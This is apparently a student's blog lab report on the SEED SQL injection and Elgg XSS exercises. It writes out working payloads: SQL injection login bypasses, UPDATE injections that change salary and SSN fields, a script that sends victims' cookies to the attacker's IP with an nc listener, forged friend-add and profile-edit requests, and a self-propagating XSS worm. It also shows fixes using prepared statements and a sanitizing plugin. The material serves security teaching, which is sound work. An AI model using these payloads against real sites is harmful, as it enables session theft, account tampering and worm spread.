20232822 2023-2024-2 《网络攻防实践》实践10报告

已于 2024-05-17 13:40:51 修改
阅读量981 收藏 12
点赞数 23
文章标签： 网络 数据库
于 2024-05-17 13:30:15 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/shbkbuik/article/details/138966431
版权

1.实践内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序，并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色：管理员是特权角色，可以管理每个员工的个人资料信息。员工是一般角色，可以查看或更新自己的个人资料信息。完成以下任务：

  • 熟悉SQL语句：
    我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。在此任务中，您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗：修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么，我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中，学生需要利用此漏洞对经过修改的Elgg发起XSS攻击，攻击的最终目的是在用户之间传播XSS蠕虫，这样，无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息，显示警报窗口：在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。
  • 弹窗显示cookie信息：将cookie信息显示。
  • 窃取受害者的cookies：将cookie发送给攻击者。
  • 成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。
  • 修改受害者的信息：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改。
  • 编写XSS蠕虫。
  • 对抗XSS攻击。

2.实验过程

一、SEED SQL注入攻击与防御实验

  1. 熟悉SQL语句
mysql -u root -p  #-u root: 指定要使用的用户名，这里是 root 用户。-p: 表示将提示我们输入密码来验证用户身份。在输入命令后，系统会提示您输入密码，然后按回车键确认。
use Users;  #use 后面跟着数据库名称，表示进入该数据库。
show tables;  #显示当前数据库中的所有表格（或称为数据表）。
select * from credential;  #从名为 credential 的表格中检索所有的行和列，并将它们作为结果返回。
select * from credential where Name='Alice';   #从名为 credential 的表格中检索所有 Name 列的值等于 'Alice' 的行，并将它们作为结果返回。

打开seed Ubuntu虚拟机输入mysql -u root -p命令使用MySQL命令行登录到MySQL服务器，之后输入密码seedubuntu
在这里插入图片描述

输入use Users;进入名为Users的数据库，输入show tables;查看User中的表
在这里插入图片描述
输入select * from credential;命令进入名为creditential的表
在这里插入图片描述
使用select * from credential where Name=‘Alice’;查看名为Alice的数据表
在这里插入图片描述

  1. 对SELECT语句的SQL注入攻击

打开seedubuntu中的浏览器进入网址http://www.seedlabsqlinjection.com/，任意输入用户名和密码，发现登录失败
在这里插入图片描述
点击键盘上F12，选择Network刷新可以看到GET命令，点击可以发现这些操作都用到了unsafe_home.php文件
在这里插入图片描述
在Computer–Var–www–SQLInjection中找到这个文件并打开
在这里插入图片描述
分析这个文件可以看到进行登录验证时的SQL指令，用户名为$input_uname，而在SQL指令中#表示将后续内容注释掉，’ 单引号表示终止当前的SQL指令，密码经过哈希加密，我们很难破解，所以将其注释，这样我们就可以输入任意用户名'# 密码随便，进行登录
在这里插入图片描述接着可以看到登录时分为管理员登录和普通用户登录在这里插入图片描述
这里我们使用Admin’#进行登录，发现登录成功
在这里插入图片描述
成功登录后可以看到里面的用户信息
在这里插入图片描述

  1. 对UPDATE语句的SQL注入攻击

进入unsafe_edit_backend.php文件查看相关指令，可以看到我们可以修改昵称、邮箱、地址、密码和ID号码。
在这里插入图片描述
按照上述的分析我们首先使用用户名Samy’#进行登录
在这里插入图片描述
登录成功进入后点击Edit Profile进行修改，输入', salary='2822' where Name='Samy';#把Samy的Salary修改为2822
在这里插入图片描述
修改好后点击Save，可以看到已经修改完成了
在这里插入图片描述
还可以使用', SSN='20232822' where Name='Boby';#命令修改Boby的SSN为20232822
在这里插入图片描述
返回登录Boby可以看到已经修改成功了
在这里插入图片描述

  1. SQL对抗

我们在上述实验中使用了SQL语句中#会把后面代码注视掉、单引号会截断代码的特点，成功非法登录进了系统，针对这一漏洞，可以采用参数绑定的方法来进行修复，对于unsafe_home.php文件，我们进行如下修改

//原来的php代码：
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";

//修改后的php代码：
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述
修改好后，再次登录发现登录失败
在这里插入图片描述

在这里插入图片描述

对于更改漏洞，我们对unsafe_edit_backend.php文件进行如下修改

//原来的php代码
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
  }else{
// if passowrd field is empty.
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
}

//修改后的php代码：
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
}

在这里插入图片描述
修改完成后再次进入修改发现没有反应
在这里插入图片描述
在这里插入图片描述

二、SEED XSS跨站脚本攻击实验(Elgg)

  1. 发布恶意消息，显示警报窗口

首先打开seedubuntu中的浏览器进入网址http://www.xsslabelgg.com
在这里插入图片描述

点击Log in进行登录，这里的用户名和密码为：
在这里插入图片描述
我使用了Samy进行登录
在这里插入图片描述
点击Edit Profile进入编辑界面
在这里插入图片描述
在Brief description中输入 会弹出警告窗口，并显示20232822mali
在这里插入图片描述
回到主页可以看到弹出弹窗
在这里插入图片描述

  1. 弹窗显示cookie信息

在Brief description中输入 会弹出cookie信息
在这里插入图片描述
回到主页看到弹窗弹出cookie信息
在这里插入图片描述

  1. 窃取受害者的cookies

打开终端查看一下虚拟机的IP地址为192.168.31.100
在这里插入图片描述
再次进入Samy的编辑界面，在Brief description中输入

<script>
  document.write('<img src=http://192.168.31.100:1921?c=' + escape(document.cookie) + '>');
</script>

在这里插入图片描述
在终端中输入nc -l 1921 -v监听1921端口，然后在网页上登录Samy访问Boby，可以看到监听到以下内容
在这里插入图片描述

  1. 成为受害者的朋友

进入好友Alice的主页，点击F12–Network，可以看到一个GET指令
在这里插入图片描述
点击Add friend浏览器会捕获到一条新请求
在这里插入图片描述
点击这条新指令得到这条指令的url

http://www.xsslabelgg.com/action/friends/add?friend=44&__elgg_ts=1715884006&__elgg_token=V5ujivsiUUgHH2FDK7FNTA

可以根据这条url构造payload，可以做到无需审核直接添加好友

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&amp;__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&amp;__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

将这段代码添加到Samy的About me中后点击save保存
在这里插入图片描述

登录Boby的账号，点击进入Alice的主页，然后点击F12–Network可以看到自动添加好友的连接
在这里插入图片描述

  1. 修改受害者的信息

进入Samy的账号，查看指令
在这里插入图片描述
根据上面看到的指令可以构建payload

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>I will attack you!20232822mali</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

将这段代码输入到Samy的About me中
在这里插入图片描述
保存后登录Boby的账号访问Samy的主页后，可以发现Boby的About me被修改了

在这里插入图片描述

  1. 编写XSS蠕虫

根据上述分析继续编写蠕虫代码如下

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>20232822mali"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }</script>

将这段代码输入到Samy的About me中
在这里插入图片描述
保存后登录Boby的账号访问Samy后被感染，再登录Admin的账号访问Boby的主页，发现Admin和Boby的About me都被修改了
在这里插入图片描述
在这里插入图片描述

  1. 对抗XSS攻击

登录管理员Admin的账户，点击右上角的Account–Administration进入管理界面后点击Plugins

在这里插入图片描述
进入后找到HTML awed，点击activate激活
在这里插入图片描述
回到Samy的主页可以看到攻击已经失效了，显示出了我们上面构造的代码
在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1：修复漏洞时需要修改unsafe_home.php和unsafe_edit_backend.php的代码，发现修改不成功
  • 问题1解决方案：发现没有权限，要进入管理员模式才可以修改

4.实践总结

这次试验练习了SQL语句，学习了SQL注入和XSS漏洞，并动手实践了这些操作，我也更深刻地认识到网络风险无处不在，以后上网还需更加谨慎。

参考资料

20232822马丽
关注
  • 23
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
华中科技大学网络攻防实践相关
02-14
华中科技大学网络攻防实践相关
网络攻防实践_课程报告.zip
07-19
网络攻防实践_课程报告.zip
20232822 2023-2024-2 《网络攻防实践》实践6报告
shbkbuik的博客
04-21 2013
这次试验我对Windows操作系统安全体系结构与机制有了更深刻的认识，通过实践我也了解到了Windows安全攻防技术，在NT分析时查阅了很多资料也学习到了很多漏洞攻击技术。
20232822 2023-2024-2 《网络攻防实践》实践11报告
shbkbuik的博客
05-24 1706
这次实验有很多需要分析的部分，自己对这方面知识理解不够到位，做实验时经常不知道该怎么分析，不理解一些实验步骤的意思，在与同学沟通、查找资料后完成了实验，学习了非常多的漏洞以及代码混淆、反混淆和恶意代码有关的知识，收获满满。
20232822 2023-2024-2 《网络攻防实践》实践4报告
shbkbuik的博客
03-30 849
在网络攻防实验环境中完成TCP/IP协议栈重点协议的攻击实验，包括ARP缓存欺骗攻击、ICMP重定向攻击、SYN Flood攻击、TCP RST攻击、TCP会话劫持攻击。
20232822 2023-2024-2 《网络攻防实践》实验8报告
shbkbuik的博客
04-28 803
这次试验内容很多，知识点也很多，做完下来感觉学到了很多恶意代码方面的知识对漏洞方面的知识也有了进一步的学习了解。
20232822 2023-2024-2 《网络攻防实践》实践9报告
shbkbuik的博客
05-10 584
这次实验学习了缓冲区溢出攻击，上手实践后也有了更深刻的认识，而且这次试验用到了上学期学习的反汇编的相关知识，感觉知识都融会贯通了，并且这次试验又用到了新的网络安全程序，使用的过程中也遇到了问题，但是都一一解决了，这次试验感觉很深刻，与同学们也进行了探讨，受益匪浅。
20232822 2023-2024-2 《网络攻防实践》实践5报告
shbkbuik的博客
04-11 2043
在这次实验中对防火墙相关知识有了进一步的认识，了解了防火墙的配置规则，并进行了相关实践，同时也认识并实践了Snort和iptables。
20232819 2023-2024-2 《网络攻防实践》实践10报告
qq_67687879的博客
05-21 1554
1、发布恶意消息，显示警报窗口：在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。进入Alice的edit profile，找到about me，把代码放到Alice的 About me 下并选择 Edit HTML 模式，输入以下代码，点击保存。通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。4、成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。
20232822 2023-2024-2《网络攻防实践》第2次作业
shbkbuik的博客
03-16 847
通过这周的学习我对网络安全有了进一步的认识，网络安全风险无处不在，同时也学习使用了扫描工具Nmap和Nesus，提高了自己的实践动手能力，在实验过程中通过查资料、与同学们交流沟通对所学知识有了更好的理解和认识，同时在以后的学习和生活中会更加注重网络安全。使用kali（192.168.200.4）作为攻击机，SEED Ubuntu（192.168.200.3）作为靶机，在kali中输入sudo su就可以使用nmap指令功能了。（4）使用Nessus开源软件对靶机环境进行扫描，回答以下问题并给出操作命令。
20232903 2023-2024-2 《网络攻防实践》实践五报告
qq_51871480的博客
04-18 811
在本次实践中，我主要学习了防火墙、IDS、IPS的运行机制、原理以及配置规则等内容，动手操作了防火墙配置以及分析蜜网网关的防火墙和IDS等配置规则，了解了防火墙的知识，知道了如何创建并利用防火墙中的安全规则。同时，我还掌握了Linux中iptables的一些使用方法，以及进一步学会如何使用Snort工具命令。
网络攻防技术实践-防火墙.doc
05-12
网络安全实验
网络攻防技术实践-NIDS.doc
05-12
网络安全技术实验
网络攻防技术与实践
11-17
网络攻防技术与实践》是一本面向网络安全技术初学者, 和相关专业学生的基础书籍，全面介绍了网络攻防的基本理论知识、技术, 方法和工具软件。在介绍每一部分网络攻防技术之后，通过一些自主设计, 和从社区借鉴的实践...
Mac虚拟机跑Windows流畅吗 Mac虚拟机连不上网络怎么解决 mac虚拟机网速慢怎么解决
2401_82916694的博客
07-10 654
选择Shared模式，你的Mac会当作虚拟机的路由器。一般来说，拥有更高性能的Cpu（如Apple M2或M3芯片）、更大的内存（建议16GB以上）、以及足够的存储空间可以显著提升虚拟机中Windows的运行流畅度。Mac的防火墙或其他安全设置可能阻止虚拟机访问网络，如果你的Mac主机可以访问网络，并且排查了上文介绍的情况，那么可以尝试关闭Mac电脑防火墙，再检查虚拟机是否可以连接网络。使用Mac虚拟机运行Windows是否流畅，取决于几个关键因素：硬件配置、虚拟机软件的选择以及虚拟机的设置。
vue2 实现原生 WebSocket
weixin_38797742的博客
07-11 286
原生WebSocket： new WebSocket。
从零开始做题：logtime
weixin_44626085的博客
07-10 247
给出1个pcapng文件。
hmallox勒索病毒科普：了解其威胁与防御策略
最新发布
safe130_的博客
07-14 447
halo，.360，.faust，.2700, .eking，elbie, .wis，.mkp，.malox，.rmallox，.mallox，.hmallox, .anony, .ma1x0，.live，.carver，.locked，_locked，.locked1，.svh , lockbit, .src, .secret , .datah, .BEAST,.DevicData-P, .kat6.l6st6r 等等，：用户从非官方或不受信任的源下载软件时，可能会无意中安装带有勒索病毒的软件包。
2021实战攻防企业红蓝对抗实践指南-长亭.pdf
07-17
《2021实战攻防企业红蓝对抗实践指南-长亭.pdf》是一份关于红蓝对抗实践的指南文件。红蓝对抗是一种模拟真实攻击和防御的方法，旨在测试企业的安全性能和发现潜在漏洞。 该指南首先介绍了红蓝对抗实践的基本概念和目标。红队代表攻击方，利用各种技术手段和策略试图入侵企业系统，而蓝队则代表防御方，负责检测和阻止攻击，并进行相应的应对和修复措施。 接下来，指南详细解释了红蓝对抗实践的步骤和流程。其中包括情报收集，攻击路径规划，漏洞利用，权限提升，数据抓取等环节，通过逐步深入渗透，验证企业的安全性。 在红蓝对抗实践中，指南还提供了一些常用的攻击技术和实用工具的介绍，如渗透测试工具、漏洞扫描工具和安全分析工具等。同时，还给出了常见的安全防御策略和技术建议，如强化访问控制，加强日志监控和事件响应能力等。 此外，指南还强调了红蓝对抗实践的重要性，并提供了一些实战案例和经验分享，帮助企业更好地理解和应用红蓝对抗技术，提升自身的网络安全防御水平。 总之，《2021实战攻防企业红蓝对抗实践指南-长亭.pdf》是一份全面而实用的红蓝对抗实践指南，对于希望提升网络安全能力的企业和安全从业人员来说，具有很高的参考价值。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值